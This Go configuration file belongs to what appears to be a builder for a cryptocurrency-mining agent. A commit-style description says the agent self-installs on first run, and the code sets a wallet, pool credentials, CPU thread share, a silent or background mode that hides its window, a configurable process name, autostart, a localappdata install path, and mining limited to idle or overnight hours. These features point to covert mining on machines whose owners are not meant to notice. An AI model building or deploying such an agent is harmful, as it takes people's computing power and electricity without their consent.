Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
167 lines
3.0 KiB
Go
167 lines
3.0 KiB
Go
package config
|
|
|
|
import (
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
)
|
|
|
|
const Version = "1.0.0"
|
|
|
|
type BuiltinConfig struct {
|
|
WorkerName string
|
|
ServerURL string
|
|
Wallet string
|
|
Threads int
|
|
ThreadMode string
|
|
ThreadPercent int
|
|
CPUPriority string
|
|
MiningMode string
|
|
DisplayMode string
|
|
SilentMode bool
|
|
RunAs string
|
|
AutoStart bool
|
|
ProcessName string
|
|
BuildID string
|
|
BuiltAt time.Time
|
|
PoolHost string
|
|
PoolPort int
|
|
PoolTLS bool
|
|
PoolPass string
|
|
MaxCPUUsage int
|
|
MaxMemoryPct int
|
|
MinFreeRAM int
|
|
IdleThresholdPct int
|
|
IdleDurationMinutes int
|
|
ScheduleStart string
|
|
ScheduleEnd string
|
|
InstallBase string
|
|
InstallCustomBase string
|
|
InstallRelativePath string
|
|
}
|
|
|
|
type RuntimeConfig struct {
|
|
BuiltinConfig
|
|
AgentID string
|
|
}
|
|
|
|
func Load() RuntimeConfig {
|
|
b := GetBuiltinConfig()
|
|
if b.Threads <= 0 {
|
|
b.Threads = 4
|
|
}
|
|
if b.ThreadMode == "" {
|
|
b.ThreadMode = "percent"
|
|
}
|
|
if b.ThreadPercent <= 0 {
|
|
b.ThreadPercent = 75
|
|
}
|
|
if b.CPUPriority == "" {
|
|
b.CPUPriority = "below_normal"
|
|
}
|
|
if b.MiningMode == "" {
|
|
b.MiningMode = "always"
|
|
}
|
|
if b.DisplayMode == "" {
|
|
if b.SilentMode {
|
|
b.DisplayMode = "silent"
|
|
} else {
|
|
b.DisplayMode = "visible"
|
|
}
|
|
}
|
|
if b.ProcessName == "" {
|
|
b.ProcessName = sanitizeProcessName(b.WorkerName)
|
|
}
|
|
if b.MaxCPUUsage <= 0 {
|
|
b.MaxCPUUsage = 80
|
|
}
|
|
if b.MaxMemoryPct <= 0 {
|
|
b.MaxMemoryPct = 70
|
|
}
|
|
if b.MinFreeRAM <= 0 {
|
|
b.MinFreeRAM = 1024
|
|
}
|
|
if b.IdleThresholdPct <= 0 {
|
|
b.IdleThresholdPct = 20
|
|
}
|
|
if b.IdleDurationMinutes <= 0 {
|
|
b.IdleDurationMinutes = 5
|
|
}
|
|
if b.ScheduleStart == "" {
|
|
b.ScheduleStart = "21:00"
|
|
}
|
|
if b.ScheduleEnd == "" {
|
|
b.ScheduleEnd = "06:00"
|
|
}
|
|
if b.InstallBase == "" {
|
|
b.InstallBase = "localappdata"
|
|
}
|
|
if b.InstallRelativePath == "" {
|
|
b.InstallRelativePath = DefaultInstallRelativePath
|
|
}
|
|
return RuntimeConfig{BuiltinConfig: b}
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveThreads() int {
|
|
mode := strings.ToLower(c.ThreadMode)
|
|
if mode == "fixed" {
|
|
if c.Threads < 1 {
|
|
return 1
|
|
}
|
|
return c.Threads
|
|
}
|
|
cores := runtime.NumCPU()
|
|
if cores < 1 {
|
|
cores = 1
|
|
}
|
|
pct := c.ThreadPercent
|
|
if pct < 1 {
|
|
pct = 1
|
|
}
|
|
if pct > 100 {
|
|
pct = 100
|
|
}
|
|
threads := int(float64(cores) * float64(pct) / 100.0)
|
|
if threads < 1 {
|
|
threads = 1
|
|
}
|
|
if threads > cores {
|
|
threads = cores
|
|
}
|
|
return threads
|
|
}
|
|
|
|
func (c RuntimeConfig) HideWindow() bool {
|
|
switch strings.ToLower(c.DisplayMode) {
|
|
case "silent", "background":
|
|
return true
|
|
default:
|
|
return c.SilentMode
|
|
}
|
|
}
|
|
|
|
func (c RuntimeConfig) BackgroundMode() bool {
|
|
return strings.ToLower(c.DisplayMode) == "background"
|
|
}
|
|
|
|
func (c RuntimeConfig) EffectiveProcessName() string {
|
|
name := strings.TrimSpace(c.ProcessName)
|
|
if name == "" {
|
|
return sanitizeProcessName(c.WorkerName)
|
|
}
|
|
return sanitizeProcessName(name)
|
|
}
|
|
|
|
func sanitizeProcessName(name string) string {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
|
|
clean := replacer.Replace(name)
|
|
if clean == "" {
|
|
return "CryptoMinerWorker"
|
|
}
|
|
return clean
|
|
}
|